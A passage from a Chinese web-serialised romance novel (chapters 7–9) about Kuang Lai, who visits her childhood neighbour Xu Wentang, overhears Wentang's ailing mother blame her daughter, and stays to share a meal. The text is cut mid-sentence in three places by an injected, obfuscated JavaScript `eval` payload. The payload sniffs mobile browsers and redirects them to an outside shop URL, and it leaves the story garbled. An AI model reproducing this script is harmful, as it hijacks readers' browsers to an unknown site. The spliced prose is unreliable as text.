她不比叶君君,虽然在酸梅岭这乡下生活这么久,却也保留着从前在大城市里的礼仪习惯,不会像叶君君那样拆了之后装作嫌弃的一扔,下一句问她花多少钱买,等况莱说完实话又瞪着眼叉着腰嫌她买贵了,问她在外面到底赚多少钱能这么挥霍…… “谢谢,阿姨很喜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17387965|200285||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 欢你的礼物。”许云笑着摸了摸况莱的头,“看来我们小况莱是真的长大了。” 但相比叶君君的嫌弃,面对许云的郑重其事,况莱反而更不好意思。她缩缩耳朵,“也就……就顺手的事。” 许云笑眯眯地打量她。 况莱突然想起她刚刚说身体不舒服的事,心头一紧,“那您身体怎么样?” 许云笑意淡了下来,声音慢慢细细,“一点点胃不舒服而已,不碍事。” 没明着说抑郁症的事。况莱也不敢提。毕竟有一句话叶君君说的没错,许云的确一直是个敏感的性子。所以她刚刚也只是悄悄咪咪看了两眼许云—— 看得出来,就算是生了病,许云在外也仍然挺在意外表和礼节。 这么晚了,酸梅岭的人家基本都吃完晚饭在家休息了。但许云这会还是穿着套装裙,甚至脸上还带着妆,嘴上的口红有点鲜艳,看起来像刚刚匆匆忙忙迎况莱的时候特意补的。 听说生病的人会懒得做很多事情。许云倒是看上去不像。这是不是意味着不严重?或者是已经在好转了? “况莱。”许云突然出了声。 “啊?”况莱抽出思绪,才发现她们已经绕到门前,准备踏进别墅一楼的客厅。 里面灯光大亮,也不知道许温棠在不在。她漫不经心地想。 “你是不是也听你妈妈说了?”许云问她。 “啊?什么?”况莱装傻。 许云望着她,笑而不语。 况莱抿了抿唇。 许云声音细细地说,“你是不是也知道阿姨生病的事情了?” 话落,她们踏上阶梯。况莱忽然才想到,依许云的性子,估计是不太愿意将这件事说出去给别人听的。所以她这些年不常回来,她妈也就一直没跟她说。 “我妈她不是故意的。”况莱主动解释,“就是我问起您的身体,她才跟我说了几句,不过许云阿姨您别着急,只要配合治疗——” “嗯,没关系。”许云语气宽容。 听上去没生气。 况莱稍微舒了口气,准备搀着许云的胳膊走进去。 也决定把东西放下就早点回去,不耽误人休息。 结果她走了几步,发现许云站在原地没动。 只好回头,有些疑惑地看向许云,“怎么了许云阿姨?” 灰蓝色夜晚,别墅廊前亮着灯。许云站在灯下,用极细的声音问她,“那你知不知道我为什么生病?” “这哪有什么为什么啊?” 况莱脱口而出宽慰她。生病就是生病,一场寒风刮过来,感冒的人通常不会责怪自己的免疫系统不够厉害,只会怪风太冷。别的病也一样。 “嗯,你说得有道理。”许云柔柔注视着她,声音也很轻,“但人不好总归是有原因的。我这几年看医生,她也有和我说过,是我心里有事过不去,才会一直好不了。” “那这医生相当不靠谱。”况莱很不满意地皱了皱眉,“哪有心理医生跟抑郁症病人说这种话的?许云阿姨您放心,我哪天就让我妈跟许温棠说说这事,让她给你换个医生——” “其实也都是因为你棠姐姐。”许云突然截断她的话。 而几乎就是在话落的那一秒—— 身后不远处的楼梯传来脚步声。 又轻轻停下。 况莱预感不太好地回头。 客厅灯开得尤其亮,楼梯处站着一个刚刚下来的人影。声控灯熄灭,丝巾被风吹得扬起来,女人站在光影交界处,似是抬头,静静正望着这边。 “许……许温棠?”况莱愣怔。 许温棠什么时候来的?那刚刚她……都听见了吗? “嗯。”许温棠应下。 女人换了拖鞋,手里拎着细细包带。她面色如常,像是要准备上楼梯,仿佛完全没有听见许云那句话,微笑着看向况莱, “车上忘东西了吗?” 7. 「相框与旧划痕」 视线交汇,气氛古怪。 “我……”况莱站在两个人中间,干巴巴地分开双唇。 她觉得自己应该说些什么来缓解。但她的位置尴尬。不知道是该先对前面的许温棠说,还是回头对许云说。 她有点踌躇。 “况莱?”许温棠大概识破她的不知所措,很平静地瞥一眼况莱身后站立着的许云,再看向况莱,“你先跟我上楼吧。” 稀里糊涂的,况莱跟许温棠上了楼,等反应过来,她已经站在许温棠的卧室中央。 之前不是没有来过许温棠的卧室。但那都是很久之前了。在她离开酸梅岭之前,也在十八岁成年礼那件事之前。 眼下这种情况再次踏入,况莱不知道自己应该是什么心情。 “怎么了?这么久没来过不习惯?” 许温棠倒是很随意,完全没有被人踏入私密空间的局促,在门框边优雅抱着双臂,看着她笑,“我记得你小时候进我房间可不是现在这样。” 是。小时候况莱一到许温棠房间,就噼里啪啦地拆书包、笔袋,还经常把自己攒起来的漂亮笔和卡通橡皮乱扔。要么就是坐在那条歪腿椅上咬着笔晃腿,于是那条歪腿椅也总是跟着她吱呀吱呀的。 “那都是多小的时候了?”况莱站在卧室中央,拎着保温桶,悄咪看一眼许温棠的脸色,又赶快挪开,慢吞吞地说,“你能不能别老是揭我短。” 许温棠笑。 又走过来,帮她把桌前那条木椅挪开。“行,你坐吧。” “不用了,我就是来帮我妈跑腿的,过会就走。” 况莱说着,但也无意识环视周围,瞥见许温棠卧室门上贴着的那张某宝岛女团褪了色的旧海报,和门上挂着的一只水滴小风铃。 从前,她被叶君君要求来许温棠卧室写作业,基本也不做正事,最喜欢就是撑着脸晃着腿叼着笔,盯这张旧海报和那个小风铃发呆。 没想到这么多年过去,旧海报和水滴小风铃竟然都还在。 况莱有些感慨地点了点头,“你这里怎么都没怎么变?” 话落。 冷不丁。 她瞥到许温棠像是在注视着自己的视线,也瞥见女人眼尾的笑意。 “干嘛!”况莱瞬间敛起多余的表情。 “没干嘛。”许温棠声线慵懒,望着她笑,“觉得你说得对。” ——她似乎完全没有因为许云那句话而感到恼怒。 不伤心吗? 听见自己妈妈亲口说出那种伤人的话? 甚至这几年也总是为许云生病的事情到处奔波,很难像同龄人一样完完全全飞到外面去过自己的生活,就像……还不懂事的况莱一样。 况莱紧了紧唇。 “那你自己先在我这坐一会,没事吧?”许温棠打断她的思绪。 “你要去哪儿?”况莱没明白。 “下趟楼。”许温棠很简单地说。 况莱这才想起在一楼的许云。况且许云还算是个病人。她手指紧了紧,“那我跟你一起去和她说说吧?” “不用。”许温棠拒绝得很快,“我就和她说几句话,你在这等我一会。” “为什么?” “不想让你看到我和她吵架。”许温棠语气随意,像是随便找了个理由。 停了会,又冲她笑。 像安抚,也像不由分说,“况且她的事,也没必要让你掺合进去。” 又来了。 把她当小孩、觉得她不懂事、也没必要去管大人事的口吻。 永远都站在河那边的口吻。 况莱不讲话。 尽管许温棠说得对,她也的确应该事不关己高高挂起。毕竟这是许温棠的家事。但…… 在许温棠转身要下楼的时候,况莱还是没忍住,“许温棠——” “嗯?”许温棠转身。 “你别和许云阿姨吵架。”况莱知道许温棠大概率只是随便找了个理由让自己远离战局,但她觉得这件事怎么也有点自己的责任,“她可能也不是故意这么说的。” 许温棠停下来。她静静望她,没有说话。 况莱想了想,补了一句,“还有,我妈给你做了话梅小排。” 许温棠怔了几秒,突然笑了。 “笑什么?”况莱把保温桶往后挪了挪,“你不是特别爱吃吗?” “放心吧,我这次可没有在来的路上偷吃。”她强调,“都是你一个人的。” 许温棠笑意更浓。 也不说话,净看着她笑。 况莱抿了抿嘴巴,不知道为什么有点烦躁。 “况莱。”许温棠忽然开口喊她。 “啊?”况莱也不太适应许温棠用这种语气,好像喊她名字也格外郑重似的,“你不是要下楼吗?” 许温棠仿佛没有听见她的问题,对她笑,“你还是和小时候一样。” “哦。”况莱别别扭扭,“不知道你在说什么。” 其实她不喜欢许温棠这样说。好像她在她这里从来没有长大。 但她也没有办法因为这句话就简单地生气。因为许温棠没有恶意。 许温棠歪头看她,声音轻轻地说,“怕别人不高兴的时候,觉得最好用的唯一的好办法,就是给她吃好吃的。” 这可能让况莱的别扭稍微少了一点。其实她本来也不是很别扭的人。 只是……偶尔会很不喜欢许温棠跟她说话的方式。 但她还是比较冷酷地说,“有吗?不知道,不记得,没印象。” 许温棠又笑起来。 这下况莱有点不是很高兴了。难道她冷酷的样子看起来很可笑吗? “放心,我下楼不是要和她吵架的。” 不过,在她的耐心快要耗尽之前,许温棠终于不笑了,收回视线,“我看看她最近有没有吃药。” “哦,好吧。” 话落。 门被拧开,许温棠下了楼。 况莱彻底舒出一口气。 不知道为什么,每次和许温棠待在同一个空间内,她就会莫名觉得烦躁,像脑子都被某种化学用品作用,然后生锈了转不动似的。 现在房间只剩她一个人。 况莱放松下来,把保温桶放到桌上,才觉得不对劲—— 她现在为什么要在许温棠房间等许温棠呢?她不是应该送完话梅小排就走吗? 况莱觉得自己简直莫名其妙。 也突然有点生气。 生许温棠的气。许温棠为什么不提醒她可以直接走? 也生自己的气。自己为什么刚刚不直接走掉? 气冲冲地想着。 况莱决定直接下楼回家。结果门刚刚打开一点,她就听见许温棠的声音飘上来—— “我的事是我的事,你不要把她扯进来。她才刚回来,不是为了给你当说客……” 这可不像是对病人说话的语气。况且……她又什么时候想管许温棠的闲事了? 况莱又有点生闷气,抱着两只紧绷绷的手臂在门口听。 不过看情况,她不常回酸梅岭这几年,许温棠和她妈的关系一直没变好。 其实这事挺奇怪的。 许云是况莱心中的完美妈妈。许温棠是叶君君心中的完美女儿。 结果这对在别人眼中的完美真母女,偏偏就是和对方处不来。 “你当年……我就不同意,现在又……我更不同意。” 楼下颇为激动的声线传上来,像是许云,“就算是为了报复我,这么久也该够了……” 什么事这么严重?怎么还说上“报复”了? 况莱心惊,赶快竖起耳朵去听,也有点后悔听叶君君话这么晚还来送话梅小排了。说不定她不来,这两人也不至于突然吵上一架…… 她担忧地想。 不过偷听别人说话不怎么好。 万一听到什么秘密就麻烦了。况莱最不喜欢秘密,不仅听到对自己没好处,还要成为帮凶平时不能走漏一点风声。而她这个人又实在容易露馅。 她挣扎一番,最后轻手轻脚把门虚掩上,一屁股坐到许温棠刚刚拉开的椅子上,决定等许温棠进来就马上找个理由走。 不过左等右等。 许温棠就是没上来。 楼底下也没传来什么大动静。 应该是没再吵架。 况莱摸了摸保温桶。 幸好,她妈买的这个保温桶效果不错,过这么久,还是温热的。 不过是不是还是得跟许温棠说一声,让她吃的时候热一下? 这么想着。 况莱百无聊赖地撑着脸,低头,便又注意见许温棠的书桌—— 木质的,看起来有些岁月,上面还残存着些乱七八糟的圆珠笔划痕。 那是况莱小时候总是调皮捣蛋不爱念书,有一阵子被叶君君要求来这边写作业,因为心存不忿,也因为不懂事,含恨用笔划的。 圆珠笔笔头坚硬,除了蓝色笔痕,还在木头上留下歪歪扭扭的划痕,大概还因为风吹日晒,上面的漆褪了色,记忆中几道原本锋利的划痕变得圆而钝。 但依稀还可以看得出,是几个因为被抓包没划完的字和拼音—— 许wentan,好难喝。 这是什么意思? 况莱瞪着眼睛努力去看这些边缘都变模糊的划痕,蛮久,才恍然大悟。 这句话完整应该是—— 许温棠,你的核桃牛奶好难喝。 因为那个时候,许温棠总是威胁况莱帮喝她的核桃牛奶。因为每次喝完许云都要检查。 有一阵子,叶君君大概觉得许温棠可能就是喝核桃牛奶学习成绩才那么好,也给况莱买过几箱一模一样的,还说是去拜神算过时间,让她准时一天喝一罐。 但显然,核桃牛奶在况莱身上没什么用,她考了几次试都没什么改变。后来,叶君君自己可能都忘了这回事,也就没再让她喝。 这样看来,许云在这种地方对许温棠是有些严厉。 核桃牛奶而已,不喝不是正好省钱吗?——况莱觉得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17387966|200285||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 要是叶君君,肯定会这么想。 不过话说回来。 许温棠这张桌子怎么到现在都没换? 上面还留着这么多歪七扭八的划痕,多难看啊。 况莱细细看了会,觉得小时候的自己报复心挺重,长大之后再看也有点丢人。 又觉得有件事挺怪。 毕竟那时候她人小,自以为在许温棠书桌角落留几句话就算是报仇。 也自以为很不明显,才每次写作业都偷着摸着在作业本下偷偷用圆珠笔划桌子,以为等到许温棠发现那天,她早就逃之夭夭了。 但现在这样看来,这么些能留到现在的划痕,明明就是明显得不能更明显了。 许温棠当时怎么能忍住不告她状呢? 况莱想不通,也没再细想。因为很快,她被其它东西吸引了注意力。 是一张被盖下来的相框。 有点眼熟。 况莱若无其事地回头看了眼,确定门口没动静,去拿起相框—— 相片里是许温棠。 但看上去比现在小。 大概……十七八岁? 况莱不太确定。 那几年她和许温棠见面见得很少。因为许温棠那时候已经在省外读大学,过着自由自在的成年版人生。而况莱,还只是一个每天数着零花钱买早餐的高中生。 不过更让她意外的是—— 相片上的许温棠梳着整齐的大光明头发,额头饱满,脸庞上映着闪闪发光的舞台光。她侧着脸,微微仰头,在做很经典的一个跳跃式的舞蹈动作,肩颈线条优美流畅,腰肢纤细得仿佛一掰就断。 她穿着那条曾经让况莱很羡慕的舞服。 这是许温棠从前跳舞的照片。 许温棠学了很久跳舞。 况莱小时候对这件事没什么认知。她只知道,许温棠每天都要被逼着喝些黑乎乎的东西。去上特长班那几年,她偶尔在教室外等许温棠一起回酸梅岭,也会看见许温棠在吃力地将身体掰成人体不可以承受的弧度。而每次坐大巴回去的时候,许温棠也总是会靠着窗思索、时不时露出疲惫劳累的神情…… 在况莱和况莱她妈、以及酸梅岭所有人的印象中,许温棠长大以后会成为一个很厉害甚至是享尽名誉的舞蹈演员——这是一个不需要任何争论的事实。 但后来,许温棠在一场比赛中出事故受了伤,无法再继续跳舞。后来的后来,出乎所有人意料,她出了国,当了空乘。说不上大失所望。毕竟在国外当空乘,在酸梅岭不少人看来,也已经是光鲜亮丽能挣大钱的工作。 不过…… 这件事在许云眼底,可能又不一样了。 难道许云指的就是这件事? 况莱盖上相框,有些心思沉沉地想。 许温棠怎么还没上来? 都这么久了。 不会是和许云吵完躲起来伤心了吧? 况莱想起这件事,便风风火火地想要下楼看看,但一转身—— 身后叮铃咣当一声响。 也不知道碰倒了什么东西。 况莱连忙转身去看。 地上是一个铁皮盒子,看上去也有点旧,是十年前流行的产物,盖子摔开,里面的东西跟着掉了出来。 有点眼熟。 好像见过。 像…… 况莱蹲下来,想要去捡。 但就在她快要碰到铁皮盒的时候—— “况莱。”身后陡然传来许温棠的声音。 “许温棠你走路怎么没声音的!”况莱慌慌张张站起来,双手紧张背在身后。 下一秒也就瞥见—— 夜灯弥漫,空气潮湿,许温棠突然之间换了身衣服,春夜气温低,但她现在穿得挺薄,敞在外面的皮肤看上去也格外白。 况莱愣住。 “我敲了门,你可能没听见。”许温棠走进来。 “那你怎么能直接进来呢?”况莱贸然瞥见许温棠不小心敞开的肩膀。 凶巴巴地叉着腰转过身。 很生硬地盯着蓝窗帘,“万一我在做什么不可告人的事情怎么办?” 许温棠顿住。 “你能在这里做什么不可告人的事情?” “我是说万一!” 况莱理直气壮,又气急败坏,觉得许温棠是真的很小瞧自己! 一不小心,就去瞥了眼地上的铁皮盒子。 许温棠似乎注意到她的视线,“这是什么?” 况莱很紧张地缩了缩手指,“它自己掉下来的,我没乱翻你的东西。” 许温棠在她身后停了一会,慢条斯理地走过来,把铁皮盒和里头的东西收好。 花香扑到鼻尖,女人影子落到鞋前。况莱有些踌躇,摸了摸鼻子,老实解释,“刚刚不小心碰掉了,我还没来得及去看。” 许温棠“嗯”一声,“看见了也没什么。” 她盖好盖子,不动声色把铁皮盒锁进抽屉里,语气极为平淡, “不是什么很重要的东西。” 8. 「疤痕与白灼虾」 不重要? 才怪。 不重要还特意当她面锁起来? 况莱不信。 不过她也不是非得要知道就是了。毕竟她对许温棠也没那么大好奇心。 “那你怎么不穿衣服!”况莱凶巴巴。 许温棠顿了几秒,低眼看了看自己,“我哪里没穿衣服?” 其实严格来讲,许温棠的确不算是没穿衣服。只是相对于今夜的气温来说,她穿得比较薄。一件黑色吊带裙,外搭一件盖住肩的丝绸衬衫。 不过那丝绸质地的衬衫太柔软了些,被风轻轻一吹,女人肩前的皮肤就能不小心敞出来。而且里面的吊带裙胸口也比较低,看上去也是薄薄一片,摇摇欲坠,敞着锁骨。简而言之,这套露肤度比较高。 而况莱就是比严格要更严格。 “穿得太少了。”她义正词严地说,“而且你干嘛突然之间换了身衣服?” “打开冰箱的时候不小心弄洒了饮料。”许温棠像是觉得抱歉,“你等太久了吗?” “没有。”况莱整个人都背着身子,完全没去看许温棠,而是相当生硬地指了下桌上的保温桶, “我妈做的话梅小排和蒸海蟹,现在都冷了,你记得热一下再吃,我要走了,拜拜——” 话落。 她火急火燎提起腿就要跑。 “况莱。”身后的女人出声喊住她。 况莱停步,忽然觉得有点烦躁。春夜的气温本不该这么高,不知道是不是某个始作俑者带着热气回来的原因。房间骤然间热意弥漫,她稍微逗留了会,手心就有些发麻。 “干嘛!”不过她很满意自己听上去很冷酷的语气。 但许温棠笑了。 不明显。 笑声轻轻悠悠,像滑溜溜抓不住的鱼。 “不陪我一起吃完再走吗?”许温棠拎起被况莱扔下的保温桶,悠悠走到她面前,笑意盈盈地望着她,“都已经等我那么久了。” “我可没有特意等你。”花香再次扑到鼻尖,不知道是不是空气湿度太高,闻上去有些潮湿。况莱皱皱鼻子。 目光仓皇间落到女人被风吹落的头发上。 以及…… 还是那条吊带裙,那件丝绸衬衫。白的,黑的,更白的。 况莱仓促之下再次挪开视线,盯自己鞋尖,也觉得许温棠这个人怎么拎个保温桶都这么优雅,有点讨厌,嘴上仍然不肯吃亏,“而且我为什么要陪你一起吃饭?” “好吧。”许温棠懒懒抬起双臂,“那我只能明天上你家和君君阿姨一起吃了。” ? 况莱最讨厌许温棠这种威胁方式。 刚要反驳。 却又看见—— 不知道是有意还是无意。许温棠轻轻摩挲着拎着保温桶的手指。 女人的皮肤很白,手很白,细细长长,手背上隐着青色血管。 但偏偏—— 拇指上有一道很细小的疤痕,微微泛着深色的印迹。 乍一看,这道疤不明显。 但如果故意抬起来给人看的话,就非常明显、且非常突兀了。 况莱咬牙切齿,“许温棠!你都这么大了,还来这套不腻吗?” “我不知道你在说什么。”许温棠笑。她慢条斯理把手收回去,懒懒地笑,“走吧,就是想和你吃顿饭。” 有一件事况莱始终相信,那就是威胁只有无数次,没有一次。 况且她已经长大了,不是那个五六岁时候傻乎乎相信许温棠被许温棠骗的小孩了。 “我都说了我不想和你吃饭——” “毕竟我们也很久都没见面了——” 许温棠的声音几乎和她同时出现。 况莱突兀停住。 “是吗?”许温棠挑眉。她像是完全没有因为她直白的语气生气,靠近她,又垂眼,睫毛阴影落在鼻梁,似细小蜻蜓。 “原来你就这么不愿意和我吃饭啊……”她看她的眼睛,轻轻地说。 说实话,况莱难以分辨许温棠此刻的语气到底是生气还是随意。她抿紧唇,后退一步,也开始反思是不是自己太凶。 “那如果我很想呢?” “什么?”况莱没反应过来。 香味迷幻,春夜风飘。女人的影子渺渺而纤细,盖住她的影子。 “况莱。” 许温棠喊她的名字,口吻像阐述事实,也像诱引, “如果我说,我就是一直在等你回来和我吃这顿饭呢?” - 许温棠家的微波炉还蛮好用的。 况莱紧绷绷地抱着双臂,很是冷漠地转脸问许温棠,“这是什么型号的?” 因为她发现自己竟然又中了许温棠的计,神不知鬼不觉就坐到了餐桌上。 许温棠顿了一下,“回头我发给你。” “这还差不多。”况莱点头,“等会就发。我要给我妈买一台。” 许温棠把保温桶里的所有菜都分出来,装到瓷碗里,留出一部分给许云。 听到这句话,她扭头,看了眼况莱,“你不是把我拉黑了吗?” 倒是忘了这事。况莱想了想,“那你发给我妈。” “不准备把我拉出来?”许温棠像是很意外她的选项。 “不准备。”况莱态度坚决。因为这完完全全是有正当理由的。 “行。”许温棠点头,倒是没继续追问。 不像刚刚,软硬兼施,硬是要她陪着吃饭。好像……好像平时都凄凄惨惨没人陪吃饭一样。 想到这里。 况莱斜着看了眼许温棠。 女人大概不知道她在心里猜测些什么,正盯着微波炉倒数的时间出神。 “叮——” 时间到了。 况莱迅速移开视线。 热好的话梅小排被端出来。许温棠放好下一个菜进去,比较随意地问,“怎么还有虾?不是说只有话梅小排和蒸花蟹吗?” 况莱挺直的脖子再抬了抬,“没吃完,我妈说别浪费。” 她解释,“但也不是谁碗里吃剩的,没沾口水。” “那怎么还剥好了?”许温棠问。 况莱顿了顿。 她看了眼许温棠,对方像只是随口一问,根本没有想过谁会那么有闲情逸致给她把虾剥好送过来。 “哦,我妈扒的吧可能。”况莱紧巴巴地抱着双臂。 她完全没办法说——因为刚刚在饭桌上,我听我妈说了你的近况,听说你很不好,所以对我今天一整天对待你的态度感到歉疚,以至于在看到那碗带着壳整整齐齐排列的白灼虾的时候,我想到你手上那道疤,觉得更愧疚,就背着我妈戴好手套,亲自,一个一个给你扒好,因为希望你吃到不用自己剥的虾,就最好不要记起我对你的态度恶劣。 也因为我就是这样一个不喜欢主动示好的人。因为我要面子,不懂说好话,完全不擅长道歉,也总是没有理由就生你的气。 可是…… 况莱低头,看了看自己的手指头,“我连自己吃虾都不剥的。” “什么?”许温棠可能是没听见。 “没什么。”况莱抬起下巴。 许温棠没再问,她把几个菜都热好,端到餐桌上。又在餐桌上摆了两副碗筷,把况莱的筷子尖冲自己这头。 “我说了我吃过了。”况莱提醒她。 “我知道。” 许温棠停了一下,“这样摆着好看,你也可以不吃。” 况莱不讲话。 话梅小排重新热过,酱汁颜色变深许多,看上去也变腻了些。 但许温棠没有嫌弃,她吃相很优雅,就算是油重酱汁多的话梅小排,到了她这里,好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17387967|200285||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 像也变成了什么米其林餐品。 况莱撑着脸看了会,注意到许温棠拿筷子时拇指上的疤,撇了撇嘴。 不过有件事她还挺好奇的,“你这道疤,不影响你空乘面试吗?” “国外航司要求没这么高,疤痕尺寸和深浅程度都在要求内,平时也可以遮住。” “哦。”况莱点点头,她不想表现得自己很关心许温棠一样。 而且,在别人吃饭的时候找话说也比较没礼貌。所以她没怎么说话。 许温棠也没怎么和她说话,只是安静地吃。 说来也奇怪。 硬是要她陪她吃这顿饭。 但吃的时候也什么都不说。 好像只是为了找个人看着自己把饭吃完一样。 “许温棠,你吃饭真无聊。”况莱还是没忍住。 许温棠顿了几秒。 “对了,你到现在还没吃晚饭吗?”况莱突然又记起这件事,“都这么晚了。” “没有。”许温棠摇头。 况莱停了几秒,转头,看了眼许云紧闭的房门,又再去看许温棠,抿唇,压低声音, “你从那么远的地方回来,许云阿姨都不给你做点好吃的吗?” 许温棠吃得不多。到现在,她也就只是吐出了几块骨头。 听到况莱的话,她忽然笑了。 “笑什么?”况莱搞不懂她。 “没什么。”许温棠笑了一会,就飘飘悠悠停下来。然后她很轻很轻地发出叹息,“况莱,你是不是不知道?” “不知道什么?” “不是每个人都像君君阿姨一样的。” 她像是在回答她的问题,又像是在说一件完全与此无关的事。 况莱愣了愣。 “而且她不是生病了吗?我总不可能回来一趟还让一个病人给我做饭。” 许温棠轻描淡写,仿佛在阐述一件完全与自己无关的事实。 况莱却紧紧抿唇,突然想起许云刚刚说的那句话——其实都是因为你棠姐姐。到底是多大的事情,才会说得出这种话? 平心而论,许温棠今年才二十七岁,也就是说,在许云确诊的那年,她才刚过况莱现在的年纪。而在这个年纪,许温棠在这件事情上已经做得足够好了。要是换成况莱,万一叶君君生病了,她不一定能应付得来…… 呸呸呸。况莱在心里“呸”几声,也在心里想叶君君千万要健健康康。 不过…… 她看了看在她面前平静吃饭的许温棠,心里还是有点为她打抱不平,绷紧的双臂和下巴也都松懈了下来。 “怎么突然变安静了?” 但许温棠或许是不希望气氛因此变得尴尬,主动开口。 年长者无足轻重的口吻,“况莱,你又心疼我啊?” 又…… 她什么时候心疼过她了。 况莱不愿意承认,“那倒也没有。说不定你是故意卖惨呢?” “嗯,没有就好。”许温棠笑了笑,没有因为况莱的语气生气,甚至这种态度才是她想要的,于是轻着声音主动阐明,“而且我可能真的是故意的。” 况莱望着她,不讲话。像很不理解她这句话的意思。 话题戛然而止,客厅只剩盏明亮黄灯,和两个分坐在餐桌对面的人。是在许温棠快要吃完今夜算是威逼利诱才有的这顿饭的时候,况莱突然开口喊她, “许温棠。” “嗯?”许温棠抬脸,以为况莱又要说些讨厌她的话,或者是用闹别扭的语气,说她吃饭很无聊很做作之类的。或者是又要拔腿逃跑。 但况莱却说, “虾只准你一个人吃。” 很认真很奇怪。 “听见了吗?” 像命令,像维护。永远不说软话的况莱,无论前者后者,都一样不讲道理。 9. 「洗碗池与情书」 “为什么是虾?”许温棠这个人好敏锐。 况莱好惊讶,不过她还是很冷酷地抱着双臂,尽量表现得事不关己,“不知道,随口一说,可能虾少一点吧,你一个人吃刚刚好。” 许温棠抬眉。 况莱想赶快转移话题,却又不知道许温棠有没有把她的话听进去,只好强调,“反正,反正你别的都可以留给许云阿姨,虾就只准你一个人吃。” “听见了吗?”她重复。 许温棠眯着眼。 坏了。 况莱心里一惊。 许温棠这个人最聪明了,也最能抓包况莱了。小的时候,不管况莱撒什么谎,搞些什么小动作,只要叶君君把她抓到许温棠面前,准被逮住。就算是藏试卷改分数,都能被许温棠一眼看出来藏在哪里改动了哪里。 况莱准备找理由跑了。 “听见了。”出乎意料,许温棠率先开口了。她慢慢收回停留在她脸上的目光,落到那碗剥得乱七八糟的虾上,很久,轻轻地说,“不给她吃。” “这还差不多。”况莱放心下来,嘟囔着,“一点点虾而已,不会拦着你做孝女。” “不过你吃完了吗?我要走了。”况莱撑着下巴,打了个哈欠,“我那么多行李还没收拾呢。” “没有。”许温棠像故意和她对着干,“虾还没有吃完。” “可以。”罕见的,况莱赞许地点点头,“不浪费食物是好品质。” 许温棠笑了。 况莱又没忍住打了个哈欠,催促她,“别笑了,快吃饭。” “好。” 也很罕见的,许温棠没有为难她,反而和她和平相处,甚至之后,也没再说些什么况莱很难应对的话,而是很安静地把那碗剥好的白灼虾吃完了。 况莱对此比较满意。 不过许温棠从小胃口就小。 从她妈那里拿的话梅小排分了三分之一出来,没有吃完。蒸花蟹分了一只,也基本是没有动。只有那碗被况莱剥得乱七八糟的虾,才算是吃完了。 况莱查阅残局,没忍住开口,“许温棠,你怎么长到这么大还是小鸟胃?” “没有吧,我今天吃得挺多的。”许温棠去洗碗,顺带着也把她带过来的保温桶拿去洗了。 况莱只好又等许温棠把保温桶洗干净,再一块拿回去。 “才怪。” 况莱说着。 像是为了印证她的话似的。 下一秒。 她就在餐桌旁的垃圾桶里,瞥见很熟悉的零食包装袋。 “还说不是!”况莱大惊小怪,“你在家就净吃些零食吧。” “嗯?”许温棠像是没反应过来她在说什么,戴着橡胶手套回头看一眼。 况莱努努嘴。 许温棠大概这才瞥见垃圾桶里的包装袋,“嗯,刚回来的时候吃了一点。” 轮到许温棠被抓包。 况莱眯起眼,在脑海里紧急搜刮了一大堆叶君君看见这些零食袋的时候要念叨的话,却还没来得及说出口,院子外就传来异常响亮的一句—— “许大小姐!” 有人来了。 并且这人嗓门还异常大,甚至站在大门口,就能穿过许温棠家院子,直接一嗓子喊到客厅。 况莱很是可惜地把那一大堆准备教训许温棠的话憋回去,“我去开门吧。” “嗯。” “不过这么晚了是谁还来找你?”况莱随口问了句。 许温棠像是想起了什么,突然改变主意,“不用了,我去吧。” “嗯?”况莱没反应过来。 许温棠摘下湿漉漉的手套,冲干净手,路过况莱的时候有意无意地看了她一眼,像是刚刚才发现她在这逗留一样,“你怎么还没回去?” ? 刚刚是谁威逼利诱让她留下来陪她吃饭的?又是谁吃完还要洗保温桶让她留下来等会的? 况莱很是火大,撸起袖子就跟了上去。 “你跟上来做什么?”许温棠的脚步突然停住。 况莱急刹车,差点撞到她的背,对许温棠变幻莫测的态度更是生气, “许温棠,我是什么见不得人的人吗?开个门都不让我一块去?” 还是说……外头站着什么许温棠不想让她见的人? 是谁? 难道许温棠跟什么牛鬼蛇神谈恋爱了? 就趁她不在酸梅岭这几年? “那倒也不是。” 许温棠出声,听不出是什么语气,但表情有点淡。 这个反应,不太像是谈恋爱。 况莱稍微替她妈把心放到肚子里,毕竟她妈从小就担心貌美如花的许温棠被什么野猪拱了去。 “行吧,那你开门。”况莱叉着腰说。 许温棠淡淡瞥她一眼,像是有点心不在焉,没再和她争,走到门铃那开了门。 况莱凑过去,想从可视门铃里头看一眼院子外的人到底是谁。 但还没看清。 许温棠就把她挤过去的头按回去,“你该走了,不是说还有很多行李没收拾?” 这个态度着实奇怪。 况莱被她这么推回来,没顾得上生气,反而把手比成“八”字放到下巴上,比较严肃地思考。 到底是谁啊?让许温棠忽然之间就跟变了个人似的? 